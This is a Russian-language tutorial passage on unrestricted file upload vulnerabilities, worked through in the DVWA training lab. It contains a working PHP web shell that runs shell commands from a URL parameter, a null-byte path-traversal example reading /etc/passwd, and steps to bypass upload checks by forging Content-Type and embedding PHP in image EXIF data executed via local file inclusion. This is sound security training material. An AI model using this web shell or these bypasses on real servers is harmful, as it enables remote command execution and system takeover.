Часть 7
Unrestricted File Upload
Различные веб-приложения позволяют пользователям загружать файлы. Форумы позволяют пользователям загружать «аватары». Фотогалереи позволяют загружать фотографии. Социальные сети предоставляют возможности по загрузке изображений, видео, и т.д. Блоги позволяют загружать опять же аватарки, изображения.
Часто загрузка файлов без обеспечения надлежащего контроля безопасности приводит к образованию уязвимостей, которые, как показывает практика, стали настоящей проблемой в веб-приложениях.
Unrestricted File Upload
Неограниченная загрузка файлов на сервер.
Последствия такой загрузки могут различаться, включая полный захват системы, перегруженную файловую систему или базу данных, переадресацию атак на серверные системы, атаки на стороне клиента или простое исправление. Это зависит от того, что приложение делает с загруженным файлом и особенно там, где оно хранится.
Unrestricted File Upload
<?php
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename($_FILES['uploaded']['name']);
// Can we move the file to the upload folder?
if (!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
$html .= '<pre>Your image was not uploaded.</pre>';
} else {
$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
}
?>
Разница заключается в коде который является уязвимым. Уязвимость file upload позволяет загружать файлы которые содержат код, для предоставления злоумышленнику shell скрипта.
Уязвимость file inclusion позволяет подключать локальные или удаленные файлы, которые потом же будут использованы как часть самого ответа и будут обработаны как сам код и предоставят ответ.
Так как для работы с файловой системой PHP использует нижележащие C-функции, то в этом случае возможна крайне неожиданная обработка нулевого байта. Так как нулевой байт означает конец строки в C, то строки, содержащие такой байт, не будут трактоваться полностью, а только до той позиции, в которой находится этот байт.
Пример уязвимости
<?php
$file = $_GET['file']; // "../../etc/passwd\0"
// file_exists возвратит true, т.к. /home/wwwrun/../../etc/passwd существует
if (file_exists('/home/wwwrun/'.$file.'.php')) {
// будет подключен файл /etc/passwd
include '/home/wwwrun/'.$file.'.php';
}
?>
EXIF (англ. Exchangeable Image File Format) — стандарт, позволяющий добавлять к изображениям и прочим медиафайлам дополнительную информацию (метаданные), комментирующую этот файл, описывающий условия и способы его получения, авторство и т. п.
Внедрять уязвимый код в картинку мы будем посредством ExifTool:
https://www.sno.phy.queensu.ca/~phil/exiftool/index.html
<?php
$output = isset($_GET["command"])
? shell_exec($_GET["command"])
: "";
echo "<pre>$output</pre>";
?>
# Low
Загружаем php файл
# Доступ
http://dvwa.ll/hackable/uploads/shell.php?command=ls
#=====================================================
# Medium
Подделываем Content-Type на image/jpeg
# Доступ
http://dvwa.ll/hackable/uploads/shell.php?command=ls
#=====================================================
# Heigh
Загружаем картинку с комментарием PHP-Shell кода
С помощью ExifTool
root@kali:~# ./exiftool -comment='<?=phpinfo()?>' test.jpeg
# Доступ
Затем используем уязвимость LFI, что бы интерпретировать наш PHP-код Который в картинке
http://dvwa.ll/vulnerabilities/fi/?page=file:///var/www/dvwa/hackable/uploads/shell.jpeg
Или так
http://dvwa.ll/vulnerabilities/fi/?page=file1.php../../../../hackable/uploads/shell.jpeg
Ограничьте размер файла до максимального значения, чтобы предотвратить атак типа «отказ в обслуживании» (PHP - upload_max_filesize, post_max_size).
To be continued ...